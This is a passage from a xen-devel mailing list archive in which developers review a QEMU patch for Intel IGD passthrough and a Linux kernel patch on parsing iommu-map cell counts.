> +        fclose(fp1);
> +        fclose(fp2);
> +        error_setg(errp, "Cannot read %s", device);
> +        return;
> +    }
> +    len = fread(rev, 1, 5, fp2);
> +    if (!len) {
> +        fclose(fp1);
> +        fclose(fp2);
> +        error_setg(errp, "Cannot read %s", revision);
> +        return;
> +    }
> +    fclose(fp1);
> +    fclose(fp2);
> +
> +    val = strtoul(device_id, &endptr, 16);
> +    if (val > 0xffff) {
> +        error_setg(errp, "PCH device id is out of range: 0x%lx", val);
> +        return;
> +    }
> +    if ((endptr > device_id) && (errno != ERANGE) &&
> +        (errno != EINVAL)) {
> +        *pch_dev_id = (uint16_t)val;
> +    } else {
> +        error_setg_errno(errp, errno, "device id strtoul "
> +                                      "conversion failed");
> +        return;
> +    }
> +    val = strtoul(rev, &endptr, 16);
> +    if (val > 0xff) {
> +        error_setg(errp, "PCH revision is out of range: 0x%lx", val);
> +        return;
> +    }
> +    if ((endptr > rev) && (errno != ERANGE) && (errno != EINVAL)) {
> +        *pch_rev_id = (uint8_t)val;
> +    } else {
> +        error_setg_errno(errp, errno, "revision strtoul "
> +                                      "conversion failed");
> +    }
> +}
> +

It would be better to reuse existing xen_host_pci_device_get() to read host
LPC bridge ids instead of parsing it on our own here.

>  void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
> -                                           XenHostPCIDevice *dev)
> +                                           XenHostPCIDevice *dev,
> +                                           Error **errp)
>  {
>      PCIBus *bus = pci_get_bus(&s->dev);
>      struct PCIDevice *bridge_dev;
> @@ -394,7 +461,16 @@ void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
>          }
>      }
>  
> -    if (pch_dev_id == 0xffff) {
> +    /* Newer devices get PCH infos from host sysfs */
> +    if ((pch_dev_id == 0xffff) || !pch_rev_id) {
> +        xen_pt_get_host_pch_info(&s->dev, &pch_dev_id, &pch_rev_id, errp);
> +    }
> +
> +    XEN_PT_LOG(&s->dev, "PCH device id: 0x%x\n", pch_dev_id);
> +    XEN_PT_LOG(&s->dev, "PCH revision: 0x%x\n", pch_rev_id);
> +
> +    if ((pch_dev_id == 0xffff) || !pch_rev_id) {
> +        error_setg(errp, "failed to get PCH device id or revision");
>          return;
>      }
>  
> @@ -406,7 +482,7 @@ void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
>       * Note that vendor id is always PCI_VENDOR_ID_INTEL.
>       */
>      if (!bridge_dev) {
> -        fprintf(stderr, "set igd-passthrough-isa-bridge failed!\n");
> +        error_setg(errp, "set igd-passthrough-isa-bridge failed!");
>          return;
>      }
>      pci_config_set_device_id(bridge_dev->config, pch_dev_id);
> diff --git a/include/hw/xen/xen_igd.h b/include/hw/xen/xen_igd.h
> index 7ffca06..da51f09 100644
> --- a/include/hw/xen/xen_igd.h
> +++ b/include/hw/xen/xen_igd.h
> @@ -22,7 +22,8 @@ uint32_t igd_read_opregion(XenPCIPassthroughState *s);
>  void xen_igd_reserve_slot(PCIBus *pci_bus);
>  void igd_write_opregion(XenPCIPassthroughState *s, uint32_t val);
>  void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
> -                                           XenHostPCIDevice *dev);
> +                                           XenHostPCIDevice *dev,
> +                                           Error **errp);
>  
>  static inline bool is_igd_vga_passthrough(XenHostPCIDevice *dev)
>  {



From xen-devel-bounces@lists.xenproject.org Thu Jul 23 13:31:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 13:31:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369133.1618053 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmtWX-0002P6-Gg; Thu, 23 Jul 2026 13:31:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369133.1618053; Thu, 23 Jul 2026 13:31:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmtWX-0002Of-By; Thu, 23 Jul 2026 13:31:41 +0000
Received: by outflank-mailman (input) for mailman id 1369133;
 Thu, 23 Jul 2026 13:12:39 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tomitamoeko@gmail.com>) id 1wmtE7-0007S3-FG
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 13:12:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmtE6-001xTZ-LS
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 15:12:38 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tomitamoeko@gmail.com>)
 id 6a621332-2eae-0a2a0a5409dd-0a2a450896da-38
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 15:12:38 +0200
Received: from [74.125.227.132] (helo=mail-pj2-f4.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <tomitamoeko@gmail.com>)
 id 6a621345-f659-0a2a45080019-4a7de3849790-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 15:12:38 +0200
Received: by mail-pj2-f4.google.com with SMTP id
 98e67ed59e1d1-38111ea8a88so415964a91.1
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 06:12:38 -0700 (PDT)
Received: from ?IPV6:2408:820c:8ffa:c0f0:e439:d3f2:d7e2:d97a?
 ([2408:820c:8ffa:c0f0:e439:d3f2:d7e2:d97a])
 by smtp.gmail.com with ESMTPSA id
 a92af1059eb24-13d1300401fsm21840163c88.3.2026.07.23.06.12.32
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 06:12:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784812356; x=1785417156; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=e14oAFqp0QPnmbZkkpDTCbFv4Sax90xzZ/Ndu7Tq1tY=;
        b=YpdO8Qr6Ar8w5vwkNOpxxiOeQjNyobB8/InfVhTCw5gVPM2LhuDENichw4LRJZcoNs
         EO7TJQ2mHkOJtfSGNNqdZ+b0j285p6J8lsi9fpJ7zwJ6oqsoessbMYb8/4V+E4K5Qyxt
         Reb3ANl72i4GmVTyt6rGEgkCE9CrB6ZNwowmJG19Q3V3Q3qz9LOljxDIVjxxpPXwMOfE
         sIUvTZDtg/nsb9xjfw9BrSHGIRUDjFgHM80NaYMQgZS9Hb+A3rQrCF4f5AGkZli164ib
         rjGQOFq9zeIScc9rr53gOsdLWXtaY4v7klSWSK0MyLsbJe7cQwFfcVr0CEK+Njxunrhf
         yKqw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784812356; x=1785417156;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=e14oAFqp0QPnmbZkkpDTCbFv4Sax90xzZ/Ndu7Tq1tY=;
        b=tYeveDDLWXHa9CAzxewWfaAiSPeQWDwq6lIEbMLdanPxwmd8nOkZeuqm0VPYCdTScj
         XAa/wW5qLgEznNuGLfc36++Vf1biSbLRgGoDqUGUZ2WDwg7ItYAuhvJ5hfTyE3Xjnk/O
         ofvObNQni6yhMM9wCAh9qdE4Rqxabc/2amSyj4iaHEAUjZxU6CCNGcWSBy5umHzNQp7B
         CRa+luQQ7P3HlVJzv0rDIUbcUKmpRI6vbNFRsSj6HT/hvg73id568XeT0yfVHjqAdDxG
         m+ptOvM7dLhkcb2hAf+Ct5dAwXXWtzqS6h/3z4PJf8eIhT1YeYUGdsGmFcHBm6PDvbEx
         pBHg==
X-Forwarded-Encrypted: i=1; AHgh+RqSR7Mg79GeYtwgBnpYgCl93VR513owuJnMdt0ovR/WKPp1cz8/z80YPfaLSGtiI6tGVjb0+mNMLTo=@lists.xenproject.org
X-Gm-Message-State: AOJu0Ywmm31RwdIV4NKq+k2viSMle50H+LD/NGFnGxRokz/ykUlYrFis
	z3OMfAsag0J7SVXqb7OMiHaOm1uCOLuErNCZgmqylrZUUewXi5H11gs=
X-Gm-Gg: AR+sD12+xrWj49KeJqCPF5kHTfsc3lDMu4yBFJibQuckGe1ub/n16NbjgLCxcFyOIAT
	WOyMvMd2ndCR1wahH7yDbNV/6TssrkTJ0eHouARQBert28Mi8qa50DrZyXs81f9HwOHYV4YHoqg
	lqOfkxPUAbQ2tUZ4H0n/jFer1/CDSG/Z+v59mfDXeYjmDIYkDXU4VmPjFLYz3VbJGJOcwUqKmbb
	JaTKwgnNPlSRkcsAbJ+Ol+EbaQfyE6VZxS5Og9olyi8uCfbaUYxIX5NvReU1Ts8qbTGbTYFTh5f
	jZ/0V8wE2qiaTERTOHEHtN38tG1C1r1HE/2nea0f6j3d6C/YcRNqZqOlSVJpJfn0BqMBT3ImOyE
	UqHHBdlqd23AIxu9TQ7w4ww1PlppAULwgG6Uz3XIu6JDXWMF0QlHnSsu8gmsPmhpMJ58U1SwZWo
	qYy2nS33VRE+IKu359dVol6rMYfqrNdGEcX/h297z5EX3xiU6ilkHM+rbp2yCI8jYx7hjP
X-Received: by 2002:a17:90a:c2ce:b0:382:1aaf:4bab with SMTP id 98e67ed59e1d1-38ec65ed795mr3150984a91.27.1784812356230;
        Thu, 23 Jul 2026 06:12:36 -0700 (PDT)
Message-ID: <f722320f-205b-40d3-a727-753506ba5473@gmail.com>
Date: Thu, 23 Jul 2026 21:12:29 +0800
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 2/3] xen/igd: don't register rom bar twice
To: Chuck Zmudzinski <brchuckz@aol.com>, qemu-devel@nongnu.org
Cc: qemu-stable@nongnu.org, xen-devel@lists.xenproject.org,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E . Iglesias" <edgar.iglesias@gmail.com>
References: <20260709183517.25866-1-brchuckz@aol.com>
 <20260709183517.25866-3-brchuckz@aol.com>
From: Tomita Moeko <tomitamoeko@gmail.com>
In-Reply-To: <20260709183517.25866-3-brchuckz@aol.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-c1860d/1784812358-CFED287B-3CDCEFC2/0/0
X-purgate-type: clean
X-purgate-size: 1886


On 2026-07-10 02:35, Chuck Zmudzinski wrote:
> This also fixes a failed assertion in pci [1] for Qemu
> version 10 and higher when passing through an Intel
> IGD with an option ROM to the guest.
>=20
> [1] f6fc01c ("hw/pci: Assert a bar is not registered multiple times")
>=20
> Fixes: 881213f ("xen, gfx passthrough: retrieve VGA BIOS to work")

Please follow the QEMU standard way to reference a commit
`<at-least-12-digits-of-SHA-commit-id> (=E2=80=9CFixed commit subject=E2=80=
=9D)`

https://www.qemu.org/docs/master/devel/submitting-a-patch.html#write-a-me=
aningful-commit-message

> Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
> ---
> Changes in v2:
>   - get 'pcibus_t romsize' instead of 'PCIIORegion region'
>   - move definition of romsize to the top of the function
>     and make it constant
>   - add stable to Cc list
>=20
> Changes in v3:
>   - fix Cc address for qemu-stable
>=20
>  hw/xen/xen_pt.c | 3 ++-
>  1 file changed, 2 insertions(+), 1 deletion(-)
>=20
> diff --git a/hw/xen/xen_pt.c b/hw/xen/xen_pt.c
> index 474606e..8b30b61 100644
> --- a/hw/xen/xen_pt.c
> +++ b/hw/xen/xen_pt.c
> @@ -459,6 +459,7 @@ static int xen_pt_register_regions(XenPCIPassthroug=
hState *s, uint16_t *cmd)
>  {
>      int i =3D 0;
>      XenHostPCIDevice *d =3D &s->real_device;
> +    const pcibus_t romsize =3D s->dev.io_regions[PCI_ROM_SLOT].size;
> =20
>      /* Register PIO/MMIO BARs */
>      for (i =3D 0; i < PCI_ROM_SLOT; i++) {
> @@ -495,7 +496,7 @@ static int xen_pt_register_regions(XenPCIPassthroug=
hState *s, uint16_t *cmd)
>      }
> =20
>      /* Register expansion ROM address */
> -    if (d->rom.base_addr && d->rom.size) {
> +    if (!romsize && d->rom.base_addr && d->rom.size) {
>          uint32_t bar_data =3D 0;
> =20
>          /* Re-set BAR reported by OS, otherwise ROM can't be read. */



From xen-devel-bounces@lists.xenproject.org Thu Jul 23 13:31:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 13:31:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369144.1618058 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmtWX-0002Uj-QO; Thu, 23 Jul 2026 13:31:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369144.1618058; Thu, 23 Jul 2026 13:31:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmtWX-0002Sl-Jo; Thu, 23 Jul 2026 13:31:41 +0000
Received: by outflank-mailman (input) for mailman id 1369144;
 Thu, 23 Jul 2026 13:17:28 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <neil.armstrong@linaro.org>) id 1wmtIm-00080P-Hr
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 13:17:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmtIl-001Hcl-LN
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 15:17:27 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <neil.armstrong@linaro.org>)
 id 6a62145f-2eae-0a2a0a5409dd-0a2a450ccd46-16
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 15:17:27 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <neil.armstrong@linaro.org>)
 id 6a621467-f479-0a2a450c0019-d1558032b9d0-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 15:17:27 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-4954a2e73a9so4405625e9.3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 06:17:27 -0700 (PDT)
Received: from ?IPV6:2a01:e0a:106d:1080:f234:5e35:82ba:6d6c?
 ([2a01:e0a:106d:1080:f234:5e35:82ba:6d6c])
 by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c63bd3sm14637989f8f.27.2026.07.23.06.17.25
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 06:17:26 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=linaro.org header.i="@linaro.org" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Organization:Autocrypt:Content-Language:From:References:Cc:To:Subject:Reply-To:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google; t=1784812647; x=1785417447; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:organization
         :autocrypt:content-language:from:references:cc:to:subject:reply-to
         :user-agent:mime-version:date:message-id:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=9iBEUWCa780NKREnuZlfqOv1A8GdvpYRK+dYt5P3FuE=;
        b=RxHqxXWxy1w0Hxbqje43oes111DDQoRozj/OxPa00fvvXSNixRCmrVeK2ZZO+PaoSL
         NxJyiw8OKDqMjtTDHzmSMK4RaohiHJp3gLUaFiAxZp3iFwgXBTFgMxnmpc/NY/n5FAj9
         6LcEhGNihbdDImFq4cuQmIo6xOHGcu66yWdyaXL1HugdAXc+x3pYqDYxzGxTX5YJW5uG
         MbqlaEdPt8kGXBS1vQDG3ZCcYcK4KayBCuapEoSzCAxeXXHWm4C5pZcipz2hSFFWkh/4
         BBIatKzd8Cwk3kYS6C0HdKPf7prDsK5oFxh9xFGS7bT6oUzsGit6n2VbhBI95P54d78b
         7Ksg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784812647; x=1785417447;
        h=content-transfer-encoding:content-type:in-reply-to:organization
         :autocrypt:content-language:from:references:cc:to:subject:reply-to
         :user-agent:mime-version:date:message-id:x-gm-gg:x-gm-message-state
         :from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=9iBEUWCa780NKREnuZlfqOv1A8GdvpYRK+dYt5P3FuE=;
        b=kIoG1SMTUMmg8WguuKE2WMScx/aEUnzVJcORCiTUPjjJd2qM/Dwjha+pWkWxcp0fV1
         1LNKzx3rTwWDNgbX2VxxTnKaoXJIId7qdjuMdK0szGdamb1AGKhvkFY+1FbZC2vkYspo
         EAKv886v7t9jtamTkyk/JvzfeKYx+dyXPZ3aZOMRybPM++MxpPh9CRGy0poPAxNwPg3L
         9veJzFERX7SvCAtC1uDeKahX/XeBDE6UVEOiaHuI05S+lBl3XvXsn8qAD7nsbIZOvkwl
         rOdZj5eVP682o/2KaadR1nvGGvg14KsewLZoQaVQRyQVQ+z1DfaTnntY9j/YcJAGv3J8
         o2JA==
X-Forwarded-Encrypted: i=1; AHgh+Rrj4vdTMUUhWzsTV8ivoH9+XbAAfWzLKFydOv3BzeyJQqdsOzZzYEdRAd/5N+/H21Ih4monvgU+7/M=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yyo6jc70QP/QOK8AcrNzqHBY+1lNensRBpZNrY2gwNaZtBVPg3u
	CRNI1Vaxq0wK1p6wsJ2B803H7inntfsSumRW6rKMsud/J8V12p84GAfdXtjd77PKDig=
X-Gm-Gg: AR+sD12PZTMHu1ovrwwAaeAb+JghJdP8R7TZXdDxzdNe5oNIQUXPbe5hu3Rs3xF1kiA
	SiZ0AjIl6v3c7RzYAKbWhO8ZHXNSUC/K9RO3xncOd7FASDkv1eZlvgQksawu5GuQ3t+GjXm/+Fm
	FXCCiGj3q0+bY3LvUtNiVJRnzj0H9NaBtkKWBpLQFKsFrFLdYCStXMN80cxkmogvzQBy/QORZnn
	wS+UZILJJOzeac/LkIpVlu2/L8BJ9mcAt/L4AlZCX/TFJ5lEOaKktXOxJ5tXy0q6KcylB3V24m8
	bURe9m+e6noDlXCDallie9/pAjebeja/Q3Jpw4tfqn/F3uXCnhMG2DOMxxxql8uFXABrlYBjy6j
	VB6IWCCwqfKBp6l/X5EEFhrNT8WU8u1+6U52kO7Zda5AIuznfdMEH35AzvMZbUGbqDg4a5vIxEC
	QAsVfKJH2AYOMG7b/Fh5vANgVKYcDL+lop6rZzaFXLppuH1hBO6ofVVeByWg==
X-Received: by 2002:a05:600c:4583:b0:495:52a5:8829 with SMTP id 5b1f17b1804b1-49573ccd1ddmr33553745e9.11.1784812646529;
        Thu, 23 Jul 2026 06:17:26 -0700 (PDT)
Message-ID: <3f5c974f-425d-47a5-9fda-e05de1f39d79@linaro.org>
Date: Thu, 23 Jul 2026 15:17:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Reply-To: Neil Armstrong <neil.armstrong@linaro.org>
Subject: Re: [PATCH v16 3/3] of: Respect #{iommu,msi}-cells in maps
To: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>,
 Nipun Gupta <nipun.gupta@amd.com>, Nikhil Agarwal <nikhil.agarwal@amd.com>,
 Joerg Roedel <joro@8bytes.org>, Will Deacon <will@kernel.org>,
 Robin Murphy <robin.murphy@arm.com>,
 Lorenzo Pieralisi <lpieralisi@kernel.org>, Marc Zyngier <maz@kernel.org>,
 Thomas Gleixner <tglx@kernel.org>, Rob Herring <robh@kernel.org>,
 Saravana Kannan <saravanak@kernel.org>, Richard Zhu <hongxing.zhu@nxp.com>,
 Lucas Stach <l.stach@pengutronix.de>,
 =?UTF-8?Q?Krzysztof_Wilczy=C5=84ski?= <kwilczynski@kernel.org>,
 Manivannan Sadhasivam <mani@kernel.org>, Bjorn Helgaas
 <bhelgaas@google.com>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: linux-arm-msm@vger.kernel.org, linux-kernel@vger.kernel.org,
 iommu@lists.linux.dev, linux-arm-kernel@lists.infradead.org,
 devicetree@vger.kernel.org, linux-pci@vger.kernel.org, imx@lists.linux.dev,
 xen-devel@lists.xenproject.org,
 Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
References: <20260603-parse_iommu_cells-v16-0-dc509dacb19a@oss.qualcomm.com>
 <20260603-parse_iommu_cells-v16-3-dc509dacb19a@oss.qualcomm.com>
From: Neil Armstrong <neil.armstrong@linaro.org>
Content-Language: en-US, fr
Autocrypt: addr=neil.armstrong@linaro.org; keydata=
 xsBNB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FoeY3ggrKY+IzbFomIZY
 4yG6xI99NIPEVE9lNBXBKIlewIyVlkOaYvJWSV+p5gdJXOvScNN1epm5YHmf9aE2ZjnqZGoM
 Mtsyw18YoX9BqMFInxqYQQ3j/HpVgTSvmo5ea5qQDDUaCsaTf8UeDcwYOtgI8iL4oHcsGtUX
 oUk33HEAEQEAAcLAXwQYAQIACQUCTVkGzwIbDAAKCRAWmrexpM/4rrXiB/sGbkQ6itMrAIfn
 M7IbRuiSZS1unlySUVYu3SD6YBYnNi3G5EpbwfBNuT3H8//rVvtOFK4OD8cRYkxXRQmTvqa3
 3eDIHu/zr1HMKErm+2SD6PO9umRef8V82o2oaCLvf4WeIssFjwB0b6a12opuRP7yo3E3gTCS
 KmbUuLv1CtxKQF+fUV1cVaTPMyT25Od+RC1K+iOR0F54oUJvJeq7fUzbn/KdlhA8XPGzwGRy
 4zcsPWvwnXgfe5tk680fEKZVwOZKIEuJC3v+/yZpQzDvGYJvbyix0lHnrCzq43WefRHI5XTT
 QbM0WUIBIcGmq38+OgUsMYu4NzLu7uZFAcmp6h8g
Organization: Linaro
In-Reply-To: <20260603-parse_iommu_cells-v16-3-dc509dacb19a@oss.qualcomm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1784812647-772D8A5B-19FE1F3E/0/0
X-purgate-type: clean
X-purgate-size: 14264

Hi,

On 6/3/26 09:13, Vijayanand Jitta wrote:
> From: Robin Murphy <robin.murphy@arm.com>
> 
> So far our parsing of {iommu,msi}-map properties has always blindly
> assumed that the output specifiers will always have exactly 1 cell.
> This typically does happen to be the case, but is not actually enforced
> (and the PCI msi-map binding even explicitly states support for 0 or 1
> cells) - as a result we've now ended up with dodgy DTs out in the field
> which depend on this behaviour to map a 1-cell specifier for a 2-cell
> provider, despite that being bogus per the bindings themselves.
> 
> Since there is some potential use in being able to map at least single
> input IDs to multi-cell output specifiers (and properly support 0-cell
> outputs as well), add support for properly parsing and using the target
> nodes' #cells values, albeit with the unfortunate complication of still
> having to work around expectations of the old behaviour too.
> 
> Since there are multi-cell output specifiers, the callers of of_map_id()
> may need to get the exact cell output value for further processing.
> Update of_map_id() to set args_count in the output to reflect the actual
> number of output specifier cells.
> 
> Signed-off-by: Robin Murphy <robin.murphy@arm.com>
> Signed-off-by: Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
> Signed-off-by: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>
> ---
>   drivers/of/base.c  | 168 +++++++++++++++++++++++++++++++++++++++++------------
>   include/linux/of.h |   6 +-
>   2 files changed, 135 insertions(+), 39 deletions(-)
> 
> diff --git a/drivers/of/base.c b/drivers/of/base.c
> index d658c2620135..ac7961cbab94 100644
> --- a/drivers/of/base.c
> +++ b/drivers/of/base.c
> @@ -2116,19 +2116,49 @@ int of_find_last_cache_level(unsigned int cpu)
>   	return cache_level;
>   }
>   
> +/*
> + * Some DTs have an iommu-map targeting a 2-cell IOMMU node while
> + * specifying only 1 cell. Fortunately they all consist of value '1'
> + * as the 2nd cell entry with the same target, so check for that pattern.
> + *
> + * Example:
> + *	IOMMU node:
> + *		#iommu-cells = <2>;
> + *
> + *	Device node:
> + *		iommu-map = <0x0000 &smmu 0x0000 0x1>,
> + *			    <0x0100 &smmu 0x0100 0x1>;

So the sm8650 PCIe controllers has:

pcie@1c08000:
			iommu-map = <0     &apps_smmu 0x1480 0x1>,
				    <0x100 &apps_smmu 0x1481 0x1>;

and

pcie@1c00000:

			iommu-map = <0     &apps_smmu 0x1400 0x1>,
				    <0x100 &apps_smmu 0x1401 0x1>;

and apps_smmu has #iommu-cells = <2>, but gets flagged at wrong:

[    7.538800] OF: /soc@0/pcie@1c08000: iommu-map has 1-cell entries targeting 2-cell #iommu-cells, treating as 1-cell output

Returning false in of_check_bad_map() triggers:

[    7.642680] OF: /soc@0/pcie@1c08000: Unsupported iommu-map - cannot handle 256-ID range with 2-cell output specifier

I don't understand the issue here, we use 2 cells as expected by
the iommu-cells, so why is it wrong ? can somebody explain in
comprehensive words ? I'm super confused, it worked like a charm until now.

Neil

> + */
> +static bool of_check_bad_map(const __be32 *map, int len)
> +{
> +	__be32 phandle = map[1];
> +
> +	if (len % 4)
> +		return false;
> +	for (int i = 0; i < len; i += 4) {
> +		if (map[i + 1] != phandle || map[i + 3] != cpu_to_be32(1))
> +			return false;
> +	}
> +	return true;
> +}
> +
>   /**
>    * of_map_id - Translate an ID through a downstream mapping.
>    * @np: root complex device node.
>    * @id: device ID to map.
>    * @map_name: property name of the map to use.
> + * @cells_name: property name of target specifier cells.
>    * @map_mask_name: optional property name of the mask to use.
>    * @filter_np: pointer to an optional filter node, or NULL to allow bypass.
>    *	If non-NULL, the map property must exist (-ENODEV if absent). If
>    *	*filter_np is also non-NULL, only entries targeting that node match.
>    * @arg: pointer to a &struct of_phandle_args for the result. On success,
> - *	@arg->args[0] will contain the translated ID. If a map entry was
> - *	matched, @arg->np will be set to the target node with a reference
> - *	held that the caller must release with of_node_put().
> + *	@arg->args_count will be set to the number of output specifier cells
> + *	as defined by @cells_name in the target node, and
> + *	@arg->args[0..args_count-1] will contain the translated output
> + *	specifier values. If a map entry was matched, @arg->np will be set
> + *	to the target node with a reference held that the caller must release
> + *	with of_node_put().
>    *
>    * Given a device ID, look up the appropriate implementation-defined
>    * platform ID and/or the target device which receives transactions on that
> @@ -2137,19 +2167,21 @@ int of_find_last_cache_level(unsigned int cpu)
>    * Return: 0 on success or a standard error code on failure.
>    */
>   int of_map_id(const struct device_node *np, u32 id,
> -	       const char *map_name, const char *map_mask_name,
> +	       const char *map_name, const char *cells_name,
> +	       const char *map_mask_name,
>   	       struct device_node * const *filter_np, struct of_phandle_args *arg)
>   {
>   	u32 map_mask, masked_id;
> -	int map_len;
> +	int map_bytes, map_len, offset = 0;
> +	bool bad_map = false;
>   	const __be32 *map = NULL;
>   
> -	if (!np || !map_name || !arg)
> +	if (!np || !map_name || !cells_name || !arg)
>   		return -EINVAL;
>   	/* Ensure bypass/no-match success never returns a stale target node. */
>   	arg->np = NULL;
>   
> -	map = of_get_property(np, map_name, &map_len);
> +	map = of_get_property(np, map_name, &map_bytes);
>   	if (!map) {
>   		if (filter_np)
>   			return -ENODEV;
